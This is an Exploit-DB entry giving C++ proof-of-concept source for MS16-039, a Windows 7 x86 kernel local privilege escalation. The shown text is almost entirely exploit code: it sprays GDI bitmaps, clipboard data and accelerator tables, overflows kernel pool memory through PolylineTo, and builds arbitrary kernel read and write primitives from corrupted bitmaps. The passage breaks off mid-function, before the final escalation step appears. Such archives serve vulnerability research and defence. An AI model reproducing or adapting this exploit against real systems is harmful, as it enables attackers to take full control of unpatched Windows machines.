Exploit-DB #44480
Description: Microsoft Windows Kernel (7 x86) - Local Privilege Escalation (MS16-039)
Type: local
Platform: windows_x86
Date: 2018-03-01
Author: xiaodaozhi

Exploit:
#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")

#define POCDEBUG 0

#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif

static HBITMAP hBmpHunted = NULL;
static HBITMAP hBmpExtend = NULL;
static DWORD   iMemHunted = NULL;
static PDWORD  pBmpHunted = NULL;
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x04E2000;
CONST LONG maxTimes = 4000;
CONST LONG tmpTimes = 5500;
static POINT   point[maxCount] = { 0, 0 };
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL  hacctab[tmpTimes] = { NULL };
CONST LONG iExtHeight = 948;
CONST LONG iExtpScan0 = 951;

static
VOID
xxCreateClipboard(DWORD Size)
{
    PBYTE Buffer = (PBYTE)malloc(Size);
    FillMemory(Buffer, Size, 0x41);
    Buffer[Size - 1] = 0x00;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
    CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
    GlobalUnlock(hMem);
    SetClipboardData(CF_TEXT, hMem);
}

static
BOOL xxPoint(LONG id, DWORD Value)
{
    LONG iLeng = 0x00;
    pBmpHunted[id] = Value;
    iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (iLeng < 0x1000)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
    LONG iLeng = 0;
    pBmpHunted[iExtpScan0] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (iLeng < 0x1000)
    {
        return FALSE;
    }
    iLeng = SetBitmapBits(hBmpExtend, cb, pvBits);
    if (iLeng < (LONG)cb)
    {
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
{
    LONG iLeng = 0;
    pBmpHunted[iExtpScan0] = addr;
    iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
    if (iLeng < 0x1000)
    {
        return FALSE;
    }
    iLeng = GetBitmapBits(hBmpExtend, cb, pvBits);
    if (iLeng < (LONG)cb)
    {
        return FALSE;
    }
    return TRUE;
}

static
VOID xxInitPoints(VOID)
{
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = (i % 2) + 1;
        point[i].y = 100;
    }
    for (LONG i = 0; i < 75; i++)
    {
        point[i].y = i + 1;
    }
}

static
BOOL xxDrawPolyLines(HDC hdc)
{
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        // std::cout << ":" << (PVOID)i << std::endl;
        if (!PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)))
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
        if (hbitmap[i] == NULL)
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxCreateAcceleratorTables(VOID)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < tmpTimes; i++)
    {
        ACCEL acckey[0x0D] = { 0 };
        hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
        if (hacctab[i] == NULL)
        {
            return FALSE;
        }
    }
    return TRUE;
}

static
BOOL xxDeleteBitmaps(VOID)
{
    BOOL bReturn = FALSE;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        bReturn = DeleteObject(hbitmap[i]);
        hbitmap[i] = NULL;
    }
    return bReturn;
}

static
VOID xxCreateClipboards(VOID)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        xxCreateClipboard(0xB5C);
    }
}

static
BOOL xxDigHoleInAcceleratorTables(LONG b, LONG e)
{
    BOOL bReturn = FALSE;
    for (LONG i = b; i < e; i++)
    {
        bReturn = DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
    return bReturn;
}

static
VOID xxDeleteAcceleratorTables(VOID)
{
    for (LONG i = 0; i < tmpTimes; i++)
    {
        if (hacctab[i] == NULL)
        {
            continue;
        }
        DestroyAcceleratorTable(hacctab[i]);
        hacctab[i] = NULL;
    }
}

static
BOOL xxRetrieveBitmapBits(VOID)
{
    pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
    ZeroMemory(pBmpHunted, 0x1000);
    LONG index = -1;
    LONG iLeng = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
        if (iLeng < 0x2D0)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
        hBmpHunted = hbitmap[i];
        break;
    }
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
BOOL xxGetExtendPalette(VOID)
{
    PVOID pBmpExtend = malloc(0x1000);
    LONG index = -1;
    POCDEBUG_BREAK();
    for (LONG i = 0; i < maxTimes; i++)
    {
        if (hbitmap[i] == hBmpHunted)
        {
            continue;
        }
        if (GetBitmapBits(hbitmap[i], 0x1000, pBmpExtend) < 0x2D0)
        {
            continue;
        }
        index = i;
        std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
        hBmpExtend = hbitmap[i];
        break;
    }
    free(pBmpExtend);
    pBmpExtend = NULL;
    if (index == -1)
    {
        std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
        return FALSE;
    }
    return TRUE;
}

static
VOID xxOutputBitmapBits(VOID)
{
    POCDEBUG_BREAK();
    for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
    {
        std::cout << '[';
        std::cout.fill('0');
        std::cout.width(4);
        std::cout << i << ']' << (PVOID)pBmpHunted[i];
        if (((i + 1) % 4) != 0)
        {
            std::cout << " ";
        }